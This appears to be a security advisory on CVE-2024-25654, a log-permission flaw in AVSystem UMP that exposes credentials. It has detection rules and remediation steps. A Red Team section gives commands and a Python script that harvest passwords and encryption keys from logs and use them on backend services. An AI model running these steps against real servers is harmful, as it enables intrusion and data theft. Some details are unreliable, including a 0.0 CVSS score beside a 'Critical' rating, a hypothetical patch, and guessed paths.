CVE-2024-25654

Executive Summary

CVE-2024-25654 exposes a critical security flaw in AVSystem Unified Management Platform (UMP) version 23.07.0.16567~LTS. The vulnerability stems from insecure default permissions on log files, allowing any local user with access to the UMP application server to read sensitive credentials. This enables an attacker to authenticate to all backend services and decrypt sensitive data stored in the database. The vulnerability is currently unpatched, and no public proof-of-concept or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact is severe due to the potential for full system compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector: Local (requires local access to the server)
• Attack Complexity: Low
• Privileges Required: Low (local user)
• User Interaction: None
• Scope: Changed (compromise of one component leads to broader system access)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical (due to potential for lateral movement and data decryption)

Deep Dive & Mechanics

The vulnerability lies in the file system permissions of log files generated by the UMP application. These logs contain plaintext credentials for various backend services (e.g., database, message queues, APIs) and encryption keys used to protect sensitive data. By default, the log files are readable by all local users on the server, violating the principle of least privilege.

An attacker with local access (e.g., via a compromised low-privilege account or physical access) can:

1. Navigate to the log directory (e.g., /var/log/ump/ or similar).
2. Read log files containing credentials.
3. Use those credentials to authenticate to backend services (e.g., PostgreSQL, RabbitMQ, internal APIs).
4. Decrypt sensitive data stored in the database using the exposed encryption keys.

The root cause is a misconfiguration in the application’s installation script or service configuration that sets overly permissive file permissions (e.g., 0644 or 0777) on log files.

Vulnerable vs. Patched Code

Vulnerable Configuration (UMP 23.07.0.16567~LTS):

# Log file permissions set to world-readable
chmod 0644 /var/log/ump/*.log

Patched Configuration (Hypothetical fix):

# Restrict log file permissions to owner and group only
chmod 0640 /var/log/ump/*.log
# Ensure log directory is not world-readable
chmod 0750 /var/log/ump/

The fix involves changing the default permissions from 0644 (world-readable) to 0640 (owner and group readable) and ensuring the log directory is not accessible by others.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to the UMP server (e.g., via SSH with a low-privilege user).
• Knowledge of the log file location (default: /var/log/ump/).

Exploitation Steps:

1. Identify log files:

   ls -la /var/log/ump/
   

2. Extract credentials:

   grep -r "password" /var/log/ump/*.log
   grep -r "encryption_key" /var/log/ump/*.log
   

3. Authenticate to backend services:

   psql -h db.internal -U admin -d ump_db -W
   # Enter extracted password
   

4. Decrypt sensitive data:

   # Use extracted encryption key to decrypt database fields
   openssl enc -d -aes-256-cbc -in encrypted_data.bin -out decrypted_data.txt -pass pass:EXTRACTED_KEY
   

Automation Script (Python):

import os
import re

log_dir = "/var/log/ump/"
creds = {}
for f in os.listdir(log_dir):
    if f.endswith(".log"):
        with open(os.path.join(log_dir, f), "r") as fp:
            content = fp.read()
            passwords = re.findall(r"password[=:]\s*(\S+)", content, re.I)
            keys = re.findall(r"encryption_key[=:]\s*(\S+)", content, re.I)
            if passwords:
                creds["passwords"] = passwords
            if keys:
                creds["keys"] = keys
print(creds)

Blue Team

Detection:

• Monitor for unauthorized access to log files using file integrity monitoring (FIM).
• Alert on grep or cat commands targeting /var/log/ump/ by non-root users.
• Use auditd to log file reads:

  auditctl -w /var/log/ump/ -p r -k ump_log_access
  

Mitigation:

• Immediately restrict permissions on existing log files:

  chmod 0640 /var/log/ump/*.log
  chmod 0750 /var/log/ump/
  

• Rotate all credentials and encryption keys exposed in logs.
• Implement centralized logging with secure transport (e.g., syslog over TLS) to avoid local storage of sensitive data.

Indicators of Compromise (IOCs)

• File Access Patterns: Unauthorized reads of /var/log/ump/*.log by non-root users.
• Network Connections: Outbound connections from the UMP server to internal services using credentials extracted from logs.
• Process Anomalies: Execution of grep, cat, or strings on log files by non-administrative users.
• Log Entries: Audit logs showing open or read syscalls on /var/log/ump/ files.

Detection Engineering

YARA Rule

rule CVE_2024_25654_Log_Access {
    meta:
        description = "Detects attempts to read UMP log files containing credentials"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-25654"
    strings:
        $log_path = "/var/log/ump/" nocase
        $cred_pattern = /password[=:]\s*\S+/i
        $key_pattern = /encryption_key[=:]\s*\S+/i
    condition:
        $log_path and ($cred_pattern or $key_pattern)
}

Sigma Rule

title: CVE-2024-25654 - Unauthorized Access to UMP Log Files
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to read AVSystem UMP log files containing credentials
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25654
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: 
            - '/grep'
            - '/cat'
            - '/strings'
        CommandLine|contains: '/var/log/ump/'
    condition: selection
falsepositives:
    - Legitimate administrative activity
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25654 - Potential Credential Exfiltration from UMP Logs"; flow:to_server,established; content:"password"; nocase; content:"encryption_key"; nocase; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict log file permissions to owner and group only:

   chmod 0640 /var/log/ump/*.log
   chmod 0750 /var/log/ump/
   

2. Rotate all credentials and encryption keys that may have been exposed.
3. Review system logs for any unauthorized access to log files.

Long-Term Fixes:

• Apply vendor patch when available (currently unpatched).
• Implement centralized logging with secure transport (e.g., syslog-ng with TLS).
• Use file integrity monitoring (e.g., OSSEC, Tripwire) to detect permission changes.
• Enforce least privilege for all local users.

Workaround:

• Move log files to a directory with restricted access (e.g., /var/log/ump/ with 0700 permissions).
• Configure the application to log to a remote syslog server instead of local files.

Valters IT